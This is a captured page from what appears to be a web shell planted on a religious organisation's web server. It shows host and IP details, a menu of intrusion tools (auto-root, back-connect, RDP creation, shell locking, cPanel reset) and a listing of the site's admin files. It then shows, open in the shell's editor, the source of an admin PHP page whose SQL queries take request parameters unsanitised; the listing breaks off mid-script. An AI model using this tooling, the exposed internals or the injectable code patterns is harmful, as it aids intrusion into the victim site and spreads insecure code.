Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.136
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
aryaadmin /
Archive /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
arya_AdminInclude_11-01-16.php
1002
B
-rw-r--r--
arya_AdminInclude_13-01-16.php
1.06
KB
-rw-r--r--
arya_AdminInclude_16-09-14.php
811
B
-rw-r--r--
arya_addactivities_28-03-14.ph...
16.43
KB
-rw-r--r--
arya_addadminpages_14-08-14.ph...
13.62
KB
-rw-r--r--
arya_addadmissionnotification_...
32.91
KB
-rw-r--r--
arya_addadvertisement_18-12-14...
23.42
KB
-rw-r--r--
arya_addarticle_05-08-14.php
30.03
KB
-rw-r--r--
arya_addarticle_25-11-15.php
29.99
KB
-rw-r--r--
arya_addaryasamajtab_28-03-14....
22.29
KB
-rw-r--r--
arya_addaudioalbum_28-03-14.ph...
23.93
KB
-rw-r--r--
arya_addauthor_13-09-14.php
20.12
KB
-rw-r--r--
arya_adddiscategory_28-03-14.p...
28.26
KB
-rw-r--r--
arya_adddiscover_04-08-14.php
27.41
KB
-rw-r--r--
arya_addelectionappointment_02...
16.17
KB
-rw-r--r--
arya_addengvarriable_25-03-14....
8.84
KB
-rw-r--r--
arya_addevents_26-01-16.php
50.97
KB
-rw-r--r--
arya_addevents_28-03-14.php
50.96
KB
-rw-r--r--
arya_addeventtype_28-03-14.php
29.83
KB
-rw-r--r--
arya_addfestival_23-07-14.php
30.54
KB
-rw-r--r--
arya_addfiledownload_09-12-14....
12.06
KB
-rw-r--r--
arya_addimportantplaces_28-03-...
35.98
KB
-rw-r--r--
arya_addinstituteprofile_02-10...
23.85
KB
-rw-r--r--
arya_addinstituteprofile_09-05...
23.84
KB
-rw-r--r--
arya_addinstitutetype_04-08-14...
33.23
KB
-rw-r--r--
arya_addinstitution_09-10-14.p...
56.08
KB
-rw-r--r--
arya_addlanguage_04-08-14.php
13.81
KB
-rw-r--r--
arya_addmagazines_02-01-15.php
38.12
KB
-rw-r--r--
arya_addmagazinetitle_09-10-14...
44.28
KB
-rw-r--r--
arya_addmember_29-05-14.php
37.84
KB
-rw-r--r--
arya_addmembertype_04-08-14.ph...
22.95
KB
-rw-r--r--
arya_addmobileaudio_05-12-14.p...
23.51
KB
-rw-r--r--
arya_addmobileaudio_06-01-16.p...
9.1
KB
-rw-r--r--
arya_addmobileaudio_08-01-16.p...
8.69
KB
-rw-r--r--
arya_addmobileimage_05-12-14.p...
20.91
KB
-rw-r--r--
arya_addnews_arvind-18-01-19.p...
61.42
KB
-rw-r--r--
arya_addobituary_18-10-14.php
27.42
KB
-rw-r--r--
arya_addphotogallery_28-03-14....
29.04
KB
-rw-r--r--
arya_addportalhomeslidebanner_...
11.62
KB
-rw-r--r--
arya_addportalsection_04-08-14...
22.76
KB
-rw-r--r--
arya_addportaltab_18-04-14.php
24.93
KB
-rw-r--r--
arya_addprimaryrecord_28-03-14...
47.92
KB
-rw-r--r--
arya_addproduct_28-03-14.php
20.39
KB
-rw-r--r--
arya_addradioairing_04-08-14.p...
18.93
KB
-rw-r--r--
arya_addscndtestquestions_12-1...
24.82
KB
-rw-r--r--
arya_addscndtimeline_17-12-14....
24.27
KB
-rw-r--r--
arya_addsecndryfestival_20-02-...
20.89
KB
-rw-r--r--
arya_addsecondaryactivity_18-0...
15.66
KB
-rw-r--r--
arya_addservices_28-03-14.php
17.99
KB
-rw-r--r--
arya_addstreamingbanner_28-03-...
20.97
KB
-rw-r--r--
arya_addtest_28-05-14.php
15.62
KB
-rw-r--r--
arya_addtestlevel_28-05-14.php
22.6
KB
-rw-r--r--
arya_addtestquestions_27-08-14...
45.74
KB
-rw-r--r--
arya_addtimeline_16-12-14.php
16.6
KB
-rw-r--r--
arya_addtimeline_17-12-14.php
16.92
KB
-rw-r--r--
arya_addtimeline_29-12-14.php
14.26
KB
-rw-r--r--
arya_addvacancy_27-05-14.php
34.54
KB
-rw-r--r--
arya_addvideoalbum_28-03-14.ph...
23.91
KB
-rw-r--r--
arya_addvideogallery_28-03-14....
21.82
KB
-rw-r--r--
arya_addwallpaper_28-03-14.php
9.19
KB
-rw-r--r--
arya_addwebsite_28-03-14.php
18.06
KB
-rw-r--r--
arya_adminlogin_18-03-15.php
7.26
KB
-rw-r--r--
arya_articleautoauthor_05-06-1...
342
B
-rw-r--r--
arya_articlependinglist_22-09-...
21.08
KB
-rw-r--r--
arya_autologout_15-03-14.php
1.94
KB
-rw-r--r--
arya_changepasswordpopup_05-05...
5.53
KB
-rw-r--r--
arya_ckeditor2_14-10-14.php
1.64
KB
-rw-r--r--
arya_ckeditor3_14-10-14.php
1.64
KB
-rw-r--r--
arya_downloadallfile_31-03-14....
2.06
KB
-rw-r--r--
arya_downloadfile_20-12-14.php
1.21
KB
-rw-r--r--
arya_downloadpendinglist_03-03...
24.68
KB
-rw-r--r--
arya_editactivities_28-03-14.p...
23.07
KB
-rw-r--r--
arya_editadminpages_14-08-14.p...
17.92
KB
-rw-r--r--
arya_editadmissionnotification...
40.28
KB
-rw-r--r--
arya_editadvertisement_04-08-1...
29.7
KB
-rw-r--r--
arya_editarticle_11-01-16.php
38.44
KB
-rw-r--r--
arya_editarticle_25-11-15.php
38.41
KB
-rw-r--r--
arya_editarticle_27-10-14.php
38.39
KB
-rw-r--r--
arya_editaryasamajtab_28-03-14...
21.9
KB
-rw-r--r--
arya_editaudioalbum_28-03-14.p...
28.46
KB
-rw-r--r--
arya_editauthor_04-11-14.php
24.92
KB
-rw-r--r--
arya_editdiscategory_28-03-14....
16.11
KB
-rw-r--r--
arya_editdiscover_04-08-14.php
34.54
KB
-rw-r--r--
arya_editelectionappointment_1...
20.12
KB
-rw-r--r--
arya_editelectionappointment_1...
20.06
KB
-rw-r--r--
arya_editevents_19-11-14.php
64.12
KB
-rw-r--r--
arya_editeventtype_28-03-14.ph...
20.59
KB
-rw-r--r--
arya_editfestival_28-03-14.php
38.51
KB
-rw-r--r--
arya_editfiledownload_20-12-14...
22.21
KB
-rw-r--r--
arya_editimportantplaces_18-09...
43.96
KB
-rw-r--r--
arya_editinstitutetype_04-08-1...
23.15
KB
-rw-r--r--
arya_editinstitution_01-10-15....
71.83
KB
-rw-r--r--
arya_editinstitution_02-10-15....
73.92
KB
-rw-r--r--
arya_editinstitution_09-10-14....
55.89
KB
-rw-r--r--
arya_editinstitution_29-09-15....
55.8
KB
-rw-r--r--
arya_editlanguage_04-08-14.php
16.45
KB
-rw-r--r--
arya_editmagazines_08-11-14.ph...
54.04
KB
-rw-r--r--
arya_editmagazinetitle_09-10-1...
53.82
KB
-rw-r--r--
arya_editmember_28-03-14.php
47.21
KB
-rw-r--r--
arya_editmembertype_04-08-14.p...
9.27
KB
-rw-r--r--
arya_editmlevelcategory_04-08-...
9.71
KB
-rw-r--r--
arya_editmobileaudio_06-01-16....
8.9
KB
-rw-r--r--
arya_editmobileaudio_08-01-16....
8.5
KB
-rw-r--r--
arya_editmobileaudio_11-12-14....
8.9
KB
-rw-r--r--
arya_editmobileimage_11-12-14....
9.32
KB
-rw-r--r--
arya_editmpowercategory_04-08-...
10.36
KB
-rw-r--r--
arya_editnews_05-12-14.php
70.37
KB
-rw-r--r--
arya_editnews_13-10-15.php
70.37
KB
-rw-r--r--
arya_editobituary_18_10-14.php
31.32
KB
-rw-r--r--
arya_editphotogallery_28-03-14...
22.85
KB
-rw-r--r--
arya_editportalhomeslidebanner...
13.23
KB
-rw-r--r--
arya_editportaltab_16-04-14.ph...
14.91
KB
-rw-r--r--
arya_editportaltab_17-04-14.ph...
15.18
KB
-rw-r--r--
arya_editprimaryrecord_28-03-1...
68.73
KB
-rw-r--r--
arya_editproduct_28-03-14.php
24.67
KB
-rw-r--r--
arya_editquestioncategory_04-0...
4.83
KB
-rw-r--r--
arya_editradioairing_04-08-14....
23.88
KB
-rw-r--r--
arya_editscndtestquestions_27-...
19.24
KB
-rw-r--r--
arya_editscndtimeline_17-12-14...
19.98
KB
-rw-r--r--
arya_editsecndryfestival_20-02...
15.32
KB
-rw-r--r--
arya_editsecondaryactivity_18-...
13.04
KB
-rw-r--r--
arya_editsecondaryservice_18-0...
13.08
KB
-rw-r--r--
arya_editservices_28-03-14.php
27.4
KB
-rw-r--r--
arya_editstreamingbanner_28-03...
24.27
KB
-rw-r--r--
arya_edittestquestions_27-08-1...
36.17
KB
-rw-r--r--
arya_edittestquestions_28-03-1...
34.6
KB
-rw-r--r--
arya_edittimeline_29-12-14.php
16.88
KB
-rw-r--r--
arya_editvacancy_27-05-14.php
44.08
KB
-rw-r--r--
arya_editvideoalbum_28-03-14.p...
29.72
KB
-rw-r--r--
arya_editvideogallery_28-03-14...
26.26
KB
-rw-r--r--
arya_editwallpaper_28-03-14.ph...
10.34
KB
-rw-r--r--
arya_editwebsite_28-03-14.php
22.98
KB
-rw-r--r--
arya_forgotpwd_06-05-14.php
5.37
KB
-rw-r--r--
arya_ftpfile_02-01-15.php
1.44
KB
-rw-r--r--
arya_header_29-10-14.php
7.48
KB
-rw-r--r--
arya_home_24-12-15.php
640
B
-rw-r--r--
arya_insertpamphlet_21-09-15.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_25-01-16.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_28-03-14.p...
16.01
KB
-rw-r--r--
arya_instoffpendinglist_26-05-...
19.27
KB
-rw-r--r--
arya_instpendinglist_01-10-15....
17.35
KB
-rw-r--r--
arya_instpendinglist_28-09-15....
16.42
KB
-rw-r--r--
arya_instphotoupload_18-12-14....
14.98
KB
-rw-r--r--
arya_mailinsquickupload_28-11-...
9.64
KB
-rw-r--r--
arya_memberautodelete_21-06-14...
4.96
KB
-rw-r--r--
arya_menu_14-03-16.php
13.82
KB
-rw-r--r--
arya_mgzndownload_20-12-14.php
2.06
KB
-rw-r--r--
arya_mlevelcategory_04-08-14.p...
23.69
KB
-rw-r--r--
arya_mngactivities_19-06-14.ph...
26.23
KB
-rw-r--r--
arya_mngadmin_18-06-14.php
23.63
KB
-rw-r--r--
arya_mngadminpages_19-06-14.ph...
18.29
KB
-rw-r--r--
arya_mngadmissionnotification_...
20.56
KB
-rw-r--r--
arya_mngadvertisement_19-06-14...
24.17
KB
-rw-r--r--
arya_mngarticle_03-11-14.php
80.54
KB
-rw-r--r--
arya_mngarticle_16_Dec_15.php
80.66
KB
-rw-r--r--
arya_mngauthor_13-09-14.php
22.95
KB
-rw-r--r--
arya_mngblocksequence_15-10-14...
11.64
KB
-rw-r--r--
arya_mngcity_19-06-14.php
22.76
KB
-rw-r--r--
arya_mngcountry_19-06-14.php
19.4
KB
-rw-r--r--
arya_mngcurrentadminlogin_15-0...
4.32
KB
-rw-r--r--
arya_mngdiscover_19-06-14.php
31.28
KB
-rw-r--r--
arya_mngdynamicpages_21-06-14....
18.32
KB
-rw-r--r--
arya_mngelectionappointment_11...
26.85
KB
-rw-r--r--
arya_mngelectionappointment_12...
26.84
KB
-rw-r--r--
arya_mngelectionappointment_16...
27.22
KB
-rw-r--r--
arya_mngengvariable_25-03-14.p...
20.87
KB
-rw-r--r--
arya_mngevents_19-06-14.php
43.6
KB
-rw-r--r--
arya_mngfestival_19-06-14.php
30.69
KB
-rw-r--r--
arya_mngfiledownload_12-03-15....
31.33
KB
-rw-r--r--
arya_mngfiledownload_24-09-15....
31.39
KB
-rw-r--r--
arya_mngimportantplaces_19-06-...
35.95
KB
-rw-r--r--
arya_mnginstitution_09-10-14.p...
107.28
KB
-rw-r--r--
arya_mnginstitution_29-09-15.p...
107.21
KB
-rw-r--r--
arya_mnginstmgzadmin_17-06-14....
38.8
KB
-rw-r--r--
arya_mngmagazines_08-11-14.php
25.66
KB
-rw-r--r--
arya_mngmagazinetitle_09-10-14...
51.98
KB
-rw-r--r--
arya_mngmember_03-10-15.php
76.76
KB
-rw-r--r--
arya_mngmember_09-02-16.php
77.33
KB
-rw-r--r--
arya_mngmember_16_dec_15.php
77.04
KB
-rw-r--r--
arya_mngmember_17-10-14.php
76.08
KB
-rw-r--r--
arya_mngmobileaudio_11-06-15.p...
17.53
KB
-rw-r--r--
arya_mngnews_27-11-14.php
52.54
KB
-rw-r--r--
arya_mngobituary_15-10-14.php
23.06
KB
-rw-r--r--
arya_mngperson_19-06-14.php
51.31
KB
-rw-r--r--
arya_mngpollquestions_19-06-14...
33.89
KB
-rw-r--r--
arya_mngportalhomeslidebanner_...
22.52
KB
-rw-r--r--
arya_mngproduct_19-06-14.php
19.32
KB
-rw-r--r--
arya_mngquickuploads_16-12-14....
28.25
KB
-rw-r--r--
arya_mngradioairing_19-06-14.p...
17.72
KB
-rw-r--r--
arya_mngreporter_19-06-14.php
39.48
KB
-rw-r--r--
arya_mngservices_19-06-14.php
25.44
KB
-rw-r--r--
arya_mngstate_19-06-14.php
20.19
KB
-rw-r--r--
arya_mngstreaming_19-06-14.php
21.1
KB
-rw-r--r--
arya_mngstreamingbanner_19-06-...
20.88
KB
-rw-r--r--
arya_mngtestquestions_04-12-14...
33.56
KB
-rw-r--r--
arya_mngtimeline_26-12-14.php
35.04
KB
-rw-r--r--
arya_mngvacancy_19-06-14.php
25.94
KB
-rw-r--r--
arya_mngvacancy_29-04-14.php
26.58
KB
-rw-r--r--
arya_mngvedmantra_19-06-14.php
25.09
KB
-rw-r--r--
arya_mngwallpaper_19-06-14.php
13.99
KB
-rw-r--r--
arya_mngwebsite_19-06-2014.php
19.61
KB
-rw-r--r--
arya_mobileaudiopending_11-12-...
14.4
KB
-rw-r--r--
arya_mpowercategory_04-08-14.p...
26.06
KB
-rw-r--r--
arya_newsphotoupload_31-01-15....
16.3
KB
-rw-r--r--
arya_obituaryphotos_28-03-14.p...
15.62
KB
-rw-r--r--
arya_otherlangvarriable_25-04-...
12.02
KB
-rw-r--r--
arya_pendingtabs_18-12-14.php
5.19
KB
-rw-r--r--
arya_pendingtabs_29-09-15.php
5.26
KB
-rw-r--r--
arya_persnphotoupload_28-03-14...
16.76
KB
-rw-r--r--
arya_placephotoupload_28-03-14...
16.99
KB
-rw-r--r--
arya_pushnotification_23-09-14...
6.45
KB
-rw-r--r--
arya_quickautodelete_14-05-14....
1.39
KB
-rw-r--r--
arya_quickupldpendinglist_19-1...
36.03
KB
-rw-r--r--
arya_reportpendinglist_13-05-1...
53.47
KB
-rw-r--r--
arya_searchvariablename_15-03-...
352
B
-rw-r--r--
arya_sendquickuploadmail_29-10...
4.41
KB
-rw-r--r--
arya_timelinependinglist_17-12...
28.17
KB
-rw-r--r--
arya_uploadtakeatour_28-05-14....
38.87
KB
-rw-r--r--
arya_viewadminLaPower_arvind-1...
9.24
KB
-rw-r--r--
arya_viewadminactivity_27-03-1...
9.14
KB
-rw-r--r--
arya_viewadminactivity_arvind-...
9.15
KB
-rw-r--r--
arya_viewadminhistory_arvind-1...
7.21
KB
-rw-r--r--
arya_viewadminpower_arvind-14-...
12.76
KB
-rw-r--r--
arya_viewadminprofile_arvind-1...
5.43
KB
-rw-r--r--
arya_viewnewsphotos_28-11-14.p...
7.77
KB
-rw-r--r--
arya_viewobituarymessage_15-10...
6.17
KB
-rw-r--r--
arya_viewobituaryphoto_14-03-1...
7.08
KB
-rw-r--r--
arya_viewpendingquickupload_02...
18.1
KB
-rw-r--r--
arya_viewpendingreport_09-04-1...
17.43
KB
-rw-r--r--
arya_viewquickuploads_02-10-14...
17.91
KB
-rw-r--r--
arya_viewreport_09-04-14.php
17.43
KB
-rw-r--r--
arya_wallpaper_24-02-14.php
570
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arya_editobituary_18_10-14.php
<?php if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { date_default_timezone_set('Asia/Kolkata'); } include('arya_AdminInclude.php'); //created by dharmishtha 21-jan-2014 //header start include('arya_header.php'); //header over // link start include("arya_menu.php"); // link over if($_GET['pending']=='1') { $_SESSION['pendobi']=$_GET['pending']; } $usersessid=$_SESSION["adminuserid"]; $dbusercatid=getFieldValue('admcat_id','arya_adminsectionrights','admuser_id="'.$usersessid.'"'); $rightsid=mysql_query('SELECT admsecright_pageid FROM arya_adminsectionrights WHERE admcat_id IN('.$dbusercatid.') AND admuser_id="'.$usersessid.'"'); while($rightfetch=mysql_fetch_array($rightsid)) { $admcatrightsid[]=$rightfetch['admsecright_pageid']; } foreach($admcatrightsid as $key) { $qry="select * from arya_adminpage where page_sectionid='".$key."'"; $q=mysql_query($qry); while($fetch=mysql_fetch_array($q)) { $pagename=$fetch['page_filename']; if($pagename=="arya_addobituary.php") { $rightapprove=getFieldValue('admsecright_approve','arya_adminsectionrights','admsecright_pageid="'.$key.'" AND admuser_id="'.$usersessid.'" AND admcat_id="'.$dbusercatid.'"'); } } } //$pagesecid=getFieldValue('page_sectionid','arya_adminpage','page_filename="'.$constructed_url.'"'); $pagesecid=$_GET['scid']; $modulenm=getFieldValue('page_title','arya_adminpage','page_filename="'.$constructed_url.'"'); $qryselobituary="select * from arya_obituary where obi_id='".$_GET['obiid']."'"; $qselobituary=mysql_query($qryselobituary); $fetchobitury=mysql_fetch_array($qselobituary); $txtname=$fetchobitury['obi_name']; $wallid=$fetchobitury['wall_id']; $imagewall=getFieldValue('wall_image','arya_obituarywallpaper','wall_id="'.$wallid.'"'); $cnt_id=$fetchobitury['cnt_id']; $state_id=$fetchobitury['state_id']; $city_id=$fetchobitury['city_id']; $inst_id=$fetchobitury['inst_id']; $Instname=getFieldValue("inst_name","arya_institution","inst_id=".$inst_id.""); $fetchprsnname=$fetchobitury["obi_prsnurl"]; $obi_briefstory=$fetchobitury['obi_briefstory']; $obi_birthdate=$fetchobitury['obi_birthdate']; $bdate=explode("-",$obi_birthdate); $byear=$bdate[0]; $bmonth=$bdate[1]; $bday=$bdate[2]; $obi_deathdate=$fetchobitury['obi_deathdate']; $ddate=explode("-",$obi_deathdate); $dyear=$ddate[0]; $dmonth=$ddate[1]; $dday=$ddate[2]; $obi_prsnname=$fetchobitury['obi_prsnname']; $obi_prsnmobno=$fetchobitury['obi_prsnmobno']; $obi_prsnemail=$fetchobitury['obi_prsnemail']; $obi_condonlemsgemail=$fetchobitury['obi_condonlemsgemail']; if($obi_condonlemsgemail=='Yes') { $yescondmsg='checked="checked"'; } else { $nocondmsg='checked="checked"'; } $obi_shradhanjalisabha=$fetchobitury['obi_shradhanjalisabha']; if($obi_shradhanjalisabha=='Yes') { $yessabha='checked="checked"'; } else { $nosabha='checked="checked"'; } $obi_ssabhadate=$fetchobitury['obi_ssabhadate']; $sadate=explode("-",$obi_ssabhadate); $syear=$sadate[0]; $smonth=$sadate[1]; $sday=$sadate[2]; $obi_starttime=explode(":",$fetchobitury['obi_starttime']); $starthour=$obi_starttime[0]; $obistarttime=$obi_starttime[1]; $arraysatrttime=explode(" ",$obistarttime); $startminute=$arraysatrttime[0]; $startam=$arraysatrttime[1]; $obi_endtime=explode(":",$fetchobitury['obi_endtime']); $endhour=$obi_endtime[0]; $obiendtime=$obi_endtime[1]; $arrayendtime=explode(" ",$obiendtime); $endminute=$arrayendtime[0]; $endam=$arrayendtime[1]; $fetchwallid=$fetchobitury['wall_id']; $obi_address=$fetchobitury['obi_address']; $sabhacnt_id=$fetchobitury['sabhacnt_id']; $sabhastate_id=$fetchobitury['sabhastate_id']; $sabhacity_id=$fetchobitury['sabhacity_id']; $obi_pincode=$fetchobitury['obi_pincode']; $obi_latitude=$fetchobitury['obi_latitude']; $obi_longitude=$fetchobitury['obi_longitude']; $obi_sequence=$fetchobitury['obi_sequence']; $obi_approve=$fetchobitury['obi_approve']; $obi_homage=$fetchobitury['obi_homage']; if($obi_homage=='Yes') { $yeshomeage='checked="checked"'; } else { $nohomeage='checked="checked"'; } if($obi_approve=='Yes') { $yesapprove='checked="checked"'; } else { $noapprove='checked="checked"'; } $obi_showhome=$fetchobitury['obi_showhome']; if($obi_showhome=='Yes') { $yesshowhome='checked="checked"'; } else { $noshowhome='checked="checked"'; } $obi_obihome=$fetchobitury['obi_obihome']; if($obi_obihome=='Yes') { $yesobihome='checked="checked"'; } else { $noobihome='checked="checked"'; } $user_id=$fetchobitury['user_id']; $obi_uploaddatetime=$fetchobitury['obi_uploaddatetime']; $obi_photo=$fetchobitury['obi_photo']; //content start if(isset($_POST['btnaddevent'])) { $txtname=$_POST['txtname']; $cmbcountry=$_POST['cmbcountry']; $cmbstate=$_POST['cmbstate']; $cmbcity=$_POST['cmbcity']; $newcmbinstname=$_POST['autosearch']; $newcmbinst=getFieldValue("inst_id","arya_institution","inst_name='".$newcmbinstname."'"); $persnname=$_POST["txtpersonurl"]; $FckContent=$_POST['FckContent']; $birthdate=$_POST['birthyear']."-".$_POST['birthmonth']."-".$_POST['birthday']; $deathdate=$_POST['deathyear']."-".$_POST['deathmonth']."-".$_POST['deathday']; $txtpresinm=$_POST['txtpresinm']; $txtpresimbl=$_POST['txtpresimbl']; $presidemail=$_POST['presidemail']; $txtemailmsg=$_POST['txtemailmsg']; $txtsharadhanjali=$_POST['txtsharadhanjali']; $shradhanjalisabhadate=$_POST['yeardate']."-".$_POST['monthdate']."-".$_POST['daydate']; $starttime=$_POST['starthour'].":".$_POST['startminute']." ".$_POST['startampm']; $endtime=$_POST['endhour'].":".$_POST['endminute']." ".$_POST['endampm']; $address=$_POST['address']; $obicmbcountry=$_POST['obicmbcountry']; $obicmbstate=$_POST['obicmbstate']; $obicmbcity=$_POST['obicmbcity']; $txtpincode=$_POST['txtpincode']; $postlatitude= addslashes($_POST["lat"]); $postlongitude =addslashes($_POST["lng"]); $txtsequence=$_POST['txtsequence']; $txtapprove=$_POST['txtapprove']; $txtshowhome=$_POST['txtshowhome']; $txtobituaryhome=$_POST['txtobituaryhome']; $txtallowhomege=$_POST['txtallowhomege']; if($_POST['wallpapaerid']!="" || $_POST['wallpapaerid']>0) { $cmbwallpaper=$_POST['wallpapaerid']; } else { $cmbwallpaper=$wallid; } $curntdate=date('Y-m-d'); $curnttime= date('h:i:s'); $qryinsobituary="UPDATE arya_obituary set wall_id='".$cmbwallpaper."', obi_name='".$txtname."', cnt_id='".$cmbcountry."', state_id='".$cmbstate."', city_id='".$cmbcity."',inst_id='".$newcmbinst."',obi_prsnurl='".$persnname."',obi_briefstory='".$FckContent."', obi_birthdate='".$birthdate."', obi_deathdate='".$deathdate."', obi_prsnname='".$txtpresinm."', obi_prsnmobno='".$txtpresimbl."', obi_prsnemail='".$presidemail."', obi_condonlemsgemail='".$txtemailmsg."', obi_shradhanjalisabha='".$txtsharadhanjali."', obi_ssabhadate='".$shradhanjalisabhadate."', obi_starttime='".$starttime."', obi_endtime='".$endtime."', obi_address='".$address."', sabhacnt_id='".$obicmbcountry."', sabhastate_id='".$obicmbstate."', sabhacity_id='".$obicmbcity."', obi_pincode='".$txtpincode."', obi_latitude='".$postlatitude."', obi_longitude='".$postlongitude."',obi_sequence='".$txtsequence."', obi_approve='".$txtapprove."', obi_showhome='".$txtshowhome."', obi_obihome='".$txtobituaryhome."',user_id='".$_SESSION["adminuserid"]."',obi_homage='".$txtallowhomege."' where obi_id='".$_GET['obiid']."'"; $qinsobituary=mysql_query($qryinsobituary); if($qinsobituary) { getadminactivity('lbl_editobituary',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$txtname,$curntdate,$curnttime); if($_FILES['txtimage']['name'] != "") { $qrysel="select obi_photo from arya_obituary where obi_id=".$_GET['obiid']; $qsel=mysql_query($qrysel); $fetch=mysql_fetch_array($qsel); $smallimage=$fetch['obi_photo']; $bigimage=str_replace('SM','BG',$smallimage); $mainimage=str_replace('SM_','',$smallimage); $mainphotimage=str_replace('media','photo',$mainimage); if($conditionvar=='2') { unlink($smallimage); unlink($bigimage); unlink($mainphotimage); } /*else { $qrysel="select obi_photo from arya_obituary where obi_id=".$_GET['obiid']; $qsel=mysql_query($qrysel); $fetch=mysql_fetch_array($qsel); $smallimage=$fetch['obi_photo']; $image=str_replace("./","media/",$smallimage); $bigimage=str_replace('SM','BG',$image); unlink($image); unlink($bigimage); }*/ $ImageSource = $_FILES['txtimage']['tmp_name']; $number = rand(); $imagenumber=strtoupper(base_convert($number, 10, 36)); $FileName = $imagenumber."_".str_replace(" ","_",$_FILES['txtimage']['name']); $SmallFileName = $imagenumber."_SM_".str_replace(" ","_",$_FILES['txtimage']['name']); $BigFileName = $imagenumber."_BG_".str_replace(" ","_",$_FILES['txtimage']['name']); $ext=substr(strtolower($FileName),strpos($FileName,'.')+1); if(strlen($ext) > 4) { $ext=substr(strtolower($ext),strpos($ext,'.')+1); } if($conditionvar=='2') { if($ext=="jpg" || $ext=="gif" || $ext=="png" || $ext=="jpeg" || $ext=="bmp" || $ext=="JPG" || $ext=="JPEG" || $ext=="GIF" ||$ext=="PNG" ||$ext=="BMP") { include('arya_makedirectory.php'); $Thumwidth = "150"; $Thumheight = ""; $bigThumwidth = "300"; $bigThumheight = "375"; $filePath=$photomonthpath.$FileName; $d=copy($ImageSource,$filePath); if($d) { $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); $bigThumbtoPath=$mediamonthpath.$BigFileName; $UploadImg=generate_image_thumbnail($ImageSource, $bigThumbtoPath, $bigThumwidth, $bigThumheight); if($UploadImg== "true") { $qryUpdateAdvert = "UPDATE arya_obituary SET obi_photo='".$ThumbtoPath."' WHERE obi_id='".$_GET['obiid']."'"; $qUpdateAdvert = mysql_query($qryUpdateAdvert); } } }//extention condition over }//if($conditionvar=='2') /*else { $year=date('Y'); $month=date('m'); $mediaPath="media/"; $mediayearpath="media/".$year."/"; $mediamonthpath="media/".$year."/".$month."/"; $Thumwidth = "150"; $Thumheight = ""; $bigThumwidth = "300"; $bigThumheight = "375"; if(!is_dir($mediaPath)) { mkdir($mediaPath); chmod($mediaPath,0777); } if(!is_dir($mediayearpath)) { mkdir($mediayearpath); chmod($mediayearpath,0777); } if(!is_dir($mediamonthpath)) { mkdir($mediamonthpath); chmod($mediamonthpath,0777); } $ThumbtoPath=$mediamonthpath.$SmallFileName; $UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight); $bigThumbtoPath=$mediamonthpath.$BigFileName; $UploadImg=generate_image_thumbnail($ImageSource, $bigThumbtoPath, $bigThumwidth, $bigThumheight); }*/ if($conditionvar=='1') { if($ext=="jpg" || $ext=="gif" || $ext=="png" || $ext=="jpeg" || $ext=="bmp" || $ext=="JPG" || $ext=="JPEG" || $ext=="GIF" ||$ext=="PNG" ||$ext=="BMP") { ob_start(); $myFile = $_FILES['txtimage']; $srvfile = $myFile['tmp_name']; include('arya_ftpfile.php'); $destination_file =$destDirsrv.'/'.$FileName; $smalldestination_file =$destDirsrv.'/'.$SmallFileName; $bigdestination_file =$destDirsrv.'/'.$BigFileName; $srvupload = ftp_put($srvconn_id, $destination_file, $srvfile, FTP_BINARY); $srvthumbupload = ftp_put($srvconnect_id, $smalldestination_file, $srvfile, FTP_BINARY); $srvbigthumbupload = ftp_put($srvconnect_id, $bigdestination_file, $srvfile, FTP_BINARY); $smupload = ftp_put($srvconnect_id, $smalldestination_file, "http://".$_SERVER['HTTP_HOST']."/aryaadmin/media/".$year."/".$month."/".$SmallFileName, FTP_BINARY); $bigupload = ftp_put($srvconnect_id, $bigdestination_file, "http://".$_SERVER['HTTP_HOST']."/aryaadmin/media/".$year."/".$month."/".$BigFileName, FTP_BINARY); ftp_close($srvconn_id); ftp_close($srvconnect_id); $qryUpdateAdvert = "UPDATE arya_obituary SET obi_photo='".$smalldestination_file."' WHERE obi_id='".$_GET['obiid']."'"; $qUpdateAdvert = mysql_query($qryUpdateAdvert); } } } if($_SESSION['pendobi']=='1') { RedirecPage('arya_pendingobituary.php?msg=upd'); //echo "<script language=JavaScript>location.href='arya_eventpendlist.php?".$msgval.""" } else { echo "<script language=Javascript>location.href='arya_mngobituary.php?msg=Suc';</script>"; } } } $nvmaxseq=getFieldValueWithoutWhere("MAX(obi_sequence)","arya_obituary"); if($nvmaxseq == ""){$nvmaxseq=1;} else {$nvmaxseq=$nvmaxseq+1;} ?> <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script> <!-- <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js"></script> --> <!-- <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.9/jquery-ui.min.js"></script> --> <script type="text/javascript"> var map; function initialize() { <?php if($obi_latitude!="" && $obi_longitude!="") { $postlatitude1=$obi_latitude; $postlongitude1=$obi_longitude; } else { $postlatitude1='28.44906145175422'; $postlongitude1='77.14599612500001'; } ?> var myLatlng = new google.maps.LatLng(<?php echo $postlatitude1;?>,<?php echo $postlongitude1;?>); var myOptions = { zoom: 7, center: myLatlng, mapTypeId: google.maps.MapTypeId.ROADMAP } map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); var marker = new google.maps.Marker({ position: myLatlng, title:"Hello World!" }); var infowindow = new google.maps.InfoWindow({ //content: "Drag marker to position <br /> or click to place" }); // To add the marker to the map, call setMap(); <?php if($obi_latitude!="" && 